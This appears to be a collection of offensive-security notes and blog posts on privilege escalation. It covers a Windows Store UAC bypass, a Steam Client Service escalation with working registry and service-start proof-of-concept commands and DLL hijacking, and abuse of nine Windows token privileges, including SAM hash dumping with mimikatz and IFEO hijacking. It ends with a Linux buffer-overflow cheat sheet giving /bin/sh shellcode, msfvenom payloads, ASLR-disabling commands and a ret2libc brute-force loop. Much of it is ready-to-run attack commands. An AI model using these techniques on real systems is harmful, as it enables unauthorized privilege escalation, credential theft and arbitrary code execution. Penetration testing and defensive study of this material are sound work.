Windows 10 LPE (UAC Bypass) in Windows Store (WSReset.exe)

         

       I found one interesting post in medium which is  here  and i got some idea to bypass UAC . 

And I notice windows store (wsrest.exe) which is enable access by user.  

and I copied it to Desktop and I check it at the process monitor .  I found some missing dll in that . 

Then, I start try to inject and Compile with above technique .  And I'm also wrote the exploit code in C .  

g0ttcha !!!  

exploit code that I wrote : https://github.com/sailay1996/UAC_bypass_windows_store

another registry method : https://github.com/sailay1996/Fileless_UAC_bypass_WSReset

Thanks for reading .

local privilege escalation via steam client service

0day on steam

Steam Client Service can be started/stopped with user access and also "HKLM\SYSTEM\CurrentControlSet\Services\Steam Client Service" is full control for the Users group. So , attacker can add reg key to get privilege access.

POC: 
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Steam Client Service" /v ImagePath /d "C:\windows\system32\cmd.exe /c echo pwned > C:\0day.txt"
net start "Steam Client Service"

And also default installation path is full access for user groups. So,
version.dll which is loaded by steam client service that doesn't exist can be hijacked by transferring malicious dll file rename as version.dll to steam installation path ( C:\Program Files (x86)\Steam\bin ) .

Dll Search Order Hijacking

version.dll name not found in process monitor. So copy malicious dll to installation bin path rename as version.dll . And reg key add to value as  "C:\Program Files (x86)\Steam\bin\SteamService.exe /RunAsService"

POC: 
copy C:\testbin\malicious.dll version.dll
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Steam Client Service" /v ImagePath /d "\"C:\Program Files (x86)\Steam\bin\SteamService.exe\" /RunAsService"
net start "Steam Client Service"

Rollback :
C:\Program Files (x86)\Common Files\Steam>SteamService.exe /repair && SteamService.exe /install


B00M !!! Steam gammers' hell come !!!

updated:  they updated and fixed.

Ref:
https://attack.mitre.org/techniques/T1058/
https://attack.mitre.org/techniques/T1038/

Windows Token Privilege to "nt authority\system"

Windows Token Privilege to "nt authority\system" With Metasploit : meterpreter> getsystem Without Metasploit: Tokenvator.exe getsystem cmd.exe incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe psexec.exe -s -i cmd.exe


more details:
https://github.com/sailay1996/tokenx_privEsc

The useage of 9 permissions for Windows Token

0x00 Preface

This article will combine your own experience, refer to a variety of open source tools and materials, try to summarize this skill, share learning experience

Reference to open source tools and materials:

• Hot Potato： https://github.com/foxglovesec/Potato
• Tokenvator:  https://github.com/0xbadjuju/Tokenvator/
• Powershell version Hot Potato: https://github.com/Kevin-Robertson/Tater
• Rotten Potato： https://github.com/breenmachine/RottenPotatoNG
• lonelypotato： https://github.com/decoder-it/lonelypotato
• Juicy Potato： https://github.com/ohpe/juicy-potato
• https://github.com/hatRiot/token-priv
• https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/
• https://foxglovesecurity.com/2016/01/16/hot-potato/
• https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
• https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/

0x01 Introduction

---

This article will introduce the following:

• Brief use of ideas
• SeImpersonatePrivilege permissions corresponding to the use of ideas and open source code
• SeAssignPrimaryPrivilege permission corresponding to the use of ideas and open source code
• SeTcbPrivilege permissions corresponding to the use of ideas and open source code
• SeBackupPrivilege permissions corresponding to the use of ideas and open source code
• SeRestorePrivilege permissions corresponding to the use of ideas and open source code
• SeCreateTokenPrivilege permissions corresponding to the use of ideas and open source code
• SeLoadDriverPrivilege permissions corresponding to the use of ideas and open source code
• SeTakeOwnershipPrivilege permissions corresponding to the use of ideas and open source code
• SeDebugPrivilege permissions corresponding to the use of ideas and open source code

0x02 Brief use of ideas

---

1. After obtaining the access rights of the target, view the available permissions.

whoami /priv

For example, the normal user has the following permissions

The admin user has the following permissions

The permissions of the iis user are as follows

The Privilege Name item indicates the privilege, and the State indicates the privilege status. We can set the privilege to Disabled or Enabled via WinAPI AdjustTokenPrivileges.

Implementation code for reference:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/EnablePrivilegeandGetTokenInformation.cpp

The code implements the specified permission (SeDebugPrivilege) and looks at the current user name and permissions

2, if you include the following nine permissions, we can further use it

• SeImpersonatePrivilege
• SeAssignPrimaryPrivilege
• SeTcbPrivilege
• SeBackupPrivilege
• SeRestorePrivilege
• SeCreateTokenPrivilege
• SeLoadDriverPrivilege
• SeTakeOwnershipPrivilege
• SeDebugPrivilege

Note:

Users of iis or sqlserver usually have SeImpersonatePrivilege and SeAssignPrimaryPrivilege permissions

Backup service users usually have SeBackupPrivilege and SeRestorePrivilege permissions

0x03 SeImpersonatePrivilege permission utilization

---

Reference materials:

https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt#L327

SeImpersonatePrivilege

Impersonatea client after authentication

A process with this privilege can impersonate an existing token but cannot create a new token

The following users have this privilege:

• Local Administrators group member and local service account
• Service initiated by the Service Control Manager
• A COM server that is started by the Component Object Model (COM) infrastructure and configured to run under a specific account

Usually, iis or sqlserver users have this privilege

Use ideas

1. Use the NTLM Relay to Local Negotiation to get the System user's Token. Use the open source tool Rotten Potato, lonelypotato or Juicy Potato.
2. Create a new process with WinAPI CreateProcessWithToken. The Token of the System user has the SeImpersonatePrivilege permission to create successfully.
3. The token has System privileges

Test code for reference:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/EnableSeImpersonatePrivilege.cpp

The code implements the SeImpersonatePrivilege permission to open the current process, calls CreateProcessWithToken, passes in the current process's Token, creates a process, and cooperates with RottenPotato, which can be used to lift the right from LocalService to System permission.

0x04 SeAssignPrimaryPrivilege permission utilization

---

Reference materials:

https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt#L359

SeAssignPrimaryPrivilege

Assign tokens to processes (newly created or suspended processes)

Usually, iis or sqlserver users have this privilege

Use idea 1

1. Get the Token of the System User with NTLM Relay to Local Negotiation
2. Create a new process through WinAPI CreateProcessAsUser, and pass in the Token of the System user.
3. The token has System privileges

Test code for reference:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/EnableSeAssignPrimaryTokenPrivilege.cpp

The code implements the SeAssignPrimaryTokenPrivilege permission to open the current process, calls CreateProcessAsUser, passes the Token of the current process, creates a process, and cooperates with RottenPotato, which can be used to grant rights from LocalService to System permission.

Use ideas 2

1. Get the Token of the System User with NTLM Relay to Local Negotiation
2. Create a new pending process via WinAPI CreateProcess with the parameter set to CREATE_SUSPENDED
3. Replace the token of the new process with the Token of the System user via WinAPI NtSetInformationProcess
4. The token has System privileges

0x05 SeTcbPrivilege permission utilization ideas

---

Reference materials:

https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt#L418

SeTcbPrivilege

Equivalent to the highest authority of the system

Use ideas

1. Call LsaLogonUser to get the Token
2. Add the Token to the Local System account group
3. The token has System privileges

Test code for reference:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/EnableSeTcbPrivilege.cpp

The code implements the SeTcbPrivilege permission to open the current process, log in to user test1, add it to the Local System account group, obtain System permissions, and create a registry key.HKEY_LOCAL_MACHINE\SOFTWARE\testtcb

0x06 SeBackupPrivilege permission utilization ideas

---

Reference materials:

https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt#L495

SeBackupPrivilege

Used to implement backup operations and have read access to any file in the current system.

Use ideas

1. Read the registry HKEY_LOCAL_MACHINE\SAM, HKEY_LOCAL_MACHINE\SECURITYandHKEY_LOCAL_MACHINE\SYSTEM
2. The commands for exporting all user hash mimikatz of the current system are as follows:

lsadump::sam /sam:SamBkup.hiv /system:SystemBkup.hiv

Test code for reference:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/EnableSeBackupPrivilege.cpp

The code implements the SeBackupPrivilege permission to open the current process, reads the registry, saves it as a file C:\\test\\SAM, C:\\test\\SECURITYandC:\\test\\SYSTEM

0x07 SeRestorePrivilege permission utilization ideas

---

Reference materials:

https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt#L528

SeRestorePrivilege

Used to implement recovery operations, have write access to any file in the current system

Use idea 1

1. Get SeRestorePrivilege permission, modify the registryHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
2. Hijacking the start of the exe file
3. Realize the privilege or as a back door

Use ideas 2

1. Get SeRestorePrivilege permission, write dll file to any path
2. Implement dll hijacking
3. Realize the privilege or as a back door

Test code for reference:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/EnableSeRestorePrivilege.cpp

The code implements the SeRestorePrivilege permission to open the current process, creating a registry keyHKEY_LOCAL_MACHINE\SOFTWARE\testrestore

0x08 SeCreateTokenPrivilege permission utilization

---

Reference materials:

https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt#L577

SeCreateTokenPrivilege

Used to create a Primary Token

Use ideas

1. Create a Primary Token via WinAPI ZwCreateToken
2. Add Token to the local administrator group
3. The token has System privileges

Test code for reference:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/EnableSeCreateTokenPrivilege.cpp

The code implements the SeCreateTokenPrivilege permission to open the current process, creates a Primary Token, adds it to the local administrator group, and enables the SeDebugPrivilege and SeTcbPrivilege permissions.

0x09 SeLoadDriverPrivilege permission utilization ideas

---

Reference materials:

https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt#L626

SeLoadDriverPrivilege

Used to load the driver file

Use ideas

1. Create a registry of driver files

reg add hkcu\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\test\Capcom.sys"
reg add hkcu\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1

1. Load driver file Capcom.sys
2. Capcom.sys has a vulnerability. After the system is loaded, it can be upgraded from normal user rights to System permissions. The code can be referenced: https://github.com/tandasat/ExploitCapcom
3. Get System privileges

Test code for reference: https://github.com/3gstudent/Homework-of-C-Language/blob/master/EnableSeLoadDriverPrivilege.cpp

The code implements the SeLoadDriverPrivilege permission to open the current process, reads the registry key hkcu\System\CurrentControlSet\CAPCOM, and loads the driver file.Capcom.sys

0x0A SeTakeOwnershipPrivilege permission utilization ideas

---

Reference materials:

https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt#L688

SeTakeOwnershipPrivilege

Similar to SeRestorePrivilege, it has write permission to any file in the current system.

Use idea 1

1. Get SeTakeOwnershipPrivilege permission, modify the registryHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
2. Hijacking the start of the exe file
3. Realize the privilege or as a back door

Use ideas 2

1. Get SeTakeOwnershipPrivilege permission, write dll file to any path
2. Implement dll hijacking
3. Realize the privilege or as a back door

Test code for reference:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/EnableSeTakeOwnershipPrivilege.cpp

The code implements the SeTakeOwnershipPrivilege permission to open the current process, modify hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Optionsthe permissions of the registry key , and the normal user rights have full operation rights.

Subsequent write operations:

reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /v takeownership /t REG_SZ /d "C:\\Windows\\System32\\calc.exe"

0x0B SeDebugPrivilege permission utilization ideas

---

Reference materials:

https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt#L736

SeDebugPrivilege

Used to debug specified processes, including reading and writing memory, often used to implement dll injection

Use ideas

1. Find the process of System permissions
2. Dll injection
3. Get System privileges

Test code for reference:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/EnableSeDebugPrivilege.cpp

The code implements the SeDebugPrivilege permission to open the current process, injecting dll into the specified process.

Linux Buffer Overflow

Good Read

https://samsclass.info/127/proj/p3-lbuf1.htm

Methodology

Crash the program by overflowing the buffer using a cyclic pattern
Identify the offset value to EIP
Resend the payload, which extends to the end of the Return Address
Append a new address to be executed when the return address is executed

Tools

GDB

GDB Commands:

gdb --pid: Attaches to a process by PID

gdb -args ./program `python -c 'print "cyclic_pattern"'`: Executes vulnerable program and sends a cyclic pattern into its buffer

(gdb) info proc map - parses the memory map of a program

(gdb) find <start_address>,<end_address>,"string": Searches a string between a memory range

(gdb) x/500s $esp <$_register>: Dumps 500 bytes of data stored in a register in hex and ascii

(gdb) i r: displays addresses stored in registers

(gdb) p system: Locates the address pointing to system() function

(gdb) p exit: Locates the address pointing to the exit() function

(gdb) info functions arg: Searches for functions by string, info functions also takes in regular expression as arguments

(gdb) info variables arg: print the names and data types of all variables that are declared outside of functions (i.e., excluding local variables)

(gdb) b main: Sets a breakpoint at main

(gdb) run: runs the program

Egg Hunter

#include <unistd.h>

int main(void)
{
  printf("EGG address: 0x%lx\n", getenv("EGG")+4);
  return 0;
}

Python

`python -c 'print "A"*38 + "BBBBCCCCDDDD"'`: Executes A over 38 times, plus 4 bytes to overwrite EIP, 4 bytes filled at ESP, and additional 4 Ds.

or
(python -c 'print "A"+<bufferoverlow"';cat)|./vulnerable_app

or

export env=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"'`

MSFVENOM

Generate /bin/sh payload: msfvenom -p linux/x86/exec cmd=/bin/sh -b "\x00" -f c

Disable ALSR

ulimit -s unlimited = Increases stack size on x86 systems which disables ALSR
echo 0 > /proc/sys/kernel/randomize_va_space = disables ALSR

Tips And Tricks

When targeting executables, start by fuzzing with 80 bytes
When targeting network services, start by fuzzing with 100 bytes  

Overwriting The Return Address 

First step is to identify a function which takes in input and fails to prevent memory from overfilling a buffer, such as:

• memcpy()
• strcpy()
• scanf()
• get()
• sprintf()

Next, create a large cyclic pattern and send the pattern, by loading the  program through gdb and executing: gdb -args ./vulnerable_app `python -c 'print "cyclic_pattern"'`.

Enter info registers (i r) to obtain the offset stored in $EIP.

Then go back to the attacker machine, and use ./pattern_offset to identify the number of bytes deemed necessary to reach the return address. /pattern_offset -q <value_in_eip>

After identifying the offset value, rerun the program using gdb -args ./program `python -c 'print "A"*#(of bytes)+"BBBBCCCCDDDD"'`

Performing The Buffer Overflow

Return Overwrite 

Step1. Generate a large string using ./pattern_create.rb -l <byte_size>

Step2. Send the string to the vulnerable application: gdb -args ./vulnerable_app $(python -c 'print "A"*< byte_size>')

Step3. Identify the offset value of EIP from gdb, by entering (gdb) i r and take note of the address in the  EIP register

Step4. From ./pattern_offset.rb insert the address from that was noted in Step3. 

Step5. Resend the buffer overflow string with the byte size found from step4.

Step6. from gdb enter i r $esp and take note of the stack address

Step7. Send a buffer overflow string consisting of the initial bytes to reach EIP followed by the address noted from step6, a nop sled of 50 bytes, and shellcode at the end.
Example. $(python -c 'print "A"*<int_byte_size> + "<the stack address pointed by the ESP register>" + "\x90"*50 + "<shellcode>"') 

Ret2Libc (Bypasses DEP)

Process:

• find system()
• find exit()
• find "/bin/sh"

Steps:

Take note of the address pointing to system

• (gdb> p system

Next locate "/bin/sh",

• (gdb) find <address pointing to system>,+9999999,"/bin/sh"

take note pointing to "/bin/sh"
Next find address pointing to exit

• (gdb) p exit

Craft the payload consisting of first the address pointing to system, then the address pointing to exit, then the address pointing to /bin/sh
system > exit > /bin/sh

Bypassing ALSR using bash bruteforce method
One way to bypass ALSR is to bruteforce all 256 address to execute a shell using a while true loop 

while true; do /path/to/vulnerable/app $(python -c 'print "A"*<large value>+"<address_system>\<address_exit>\<address_/bin/sh>"'); done